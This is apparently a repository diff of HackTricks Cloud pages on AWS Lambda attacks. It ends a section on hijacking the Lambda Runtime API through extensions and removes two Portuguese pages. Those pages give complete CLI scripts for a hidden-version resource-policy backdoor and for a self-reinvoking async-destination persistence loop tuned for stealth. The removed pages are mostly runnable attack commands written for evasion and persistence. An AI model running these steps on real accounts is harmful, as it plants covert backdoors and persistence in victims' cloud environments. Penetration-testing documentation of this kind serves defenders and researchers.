Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
|
||||
O processo Init (Rapid) monitora todas as requisições de API em [http://127.0.0.1:9001](http://127.0.0.1:9001/) enquanto as extensões Lambda são inicializadas e executadas antes da execução de qualquer código de runtime, mas após o Rapid.
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
A variável **`AWS_LAMBDA_RUNTIME_API`** indica o **IP** e o **número da porta** da API Rapid para **processos de runtime filhos** e extensões adicionais.
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
|
||||
> [!WARNING]
|
||||
> Ao alterar a variável de ambiente **`AWS_LAMBDA_RUNTIME_API`** para uma **`porta`** à qual temos acesso, é possível interceptar todas as ações dentro do runtime Lambda (**man-in-the-middle**). Isso é possível porque a extensão é executada com os mesmos privilégios que o Rapid Init, e o kernel do sistema permite a **modificação da memória do processo**, possibilitando a alteração do número da porta.
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
|
||||
Como **as extensões são executadas antes de qualquer código de runtime**, modificar a variável de ambiente influenciará o processo de runtime (por exemplo, Python, Java, Node, Ruby) à medida que ele inicia. Além disso, **extensões carregadas após** a nossa, que dependem dessa variável, também serão roteadas através da nossa extensão. Essa configuração poderia permitir que malware contornasse completamente as medidas de segurança ou extensões de registro diretamente dentro do ambiente de runtime.
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
A ferramenta [**lambda-spy**](https://github.com/clearvector/lambda-spy) foi criada para realizar essa **escrita de memória** e **roubar informações sensíveis** de requisições lambda, outras **requisições de extensões** e até mesmo **modificá-las**.
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,88 +0,0 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resumo
|
||||
|
||||
Crie uma versão oculta do Lambda com lógica do atacante e aplique uma política baseada em recursos a essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a um principal atacante. Invocações normais via o nome da função ou alias principal permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isto é mais furtivo do que expor uma Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
## Permissões necessárias (atacante)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## Passos do Ataque (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publicar versão oculta, adicionar permissão com escopo por qualifier, invocar como atacante</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impacto
|
||||
|
||||
- Concede uma backdoor furtiva para invocar uma versão oculta da função sem modificar o alias principal ou expor uma Function URL.
|
||||
- Limita a exposição apenas à versão/alias especificada via a resource-based policy `Qualifier`, reduzindo a superfície de detecção enquanto mantém uma invocação confiável para o attacker principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,95 +0,0 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusar das Destinations assíncronas do Lambda juntamente com a configuração Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a recursion config para Allow reativa-os. Destinations são entregues no lado do serviço para invocações assíncronas, então uma única invocação seed cria um canal stealthy, code-free de heartbeat/backdoor. Opcionalmente limite com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
Notas
|
||||
- Lambda não permite configurar a função para ser seu próprio destination diretamente. Use um function alias como destination e permita que a execution role invoque esse alias.
|
||||
- Permissões mínimas: capacidade de ler/atualizar o event invoke config e recursion config da função alvo, publicar uma versão e gerenciar um alias, e atualizar a policy da execution role da função para permitir lambda:InvokeFunction no alias.
|
||||
|
||||
## Requisitos
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Passos
|
||||
|
||||
1) Obtenha o ARN da função e a configuração atual de recursion
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publicar uma versão e criar/atualizar um alias (usado como destino próprio)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Permitir que a role de execução da função invoque o alias (requerido por Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configure o destino assíncrono para o alias (a própria função via alias) e desative as tentativas.
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Permitir loops recursivos
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Inicie uma única invocação assíncrona
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Observe invocações contínuas (exemplos)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Limitação furtiva opcional
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Limpeza
|
||||
Interrompa o loop e remova a persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impacto
|
||||
- Uma única async invoke faz com que a Lambda re-invoque continuamente a si mesma sem um scheduler externo, permitindo persistência/heartbeat furtiva. Reserved concurrency pode limitar o ruído a uma única warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user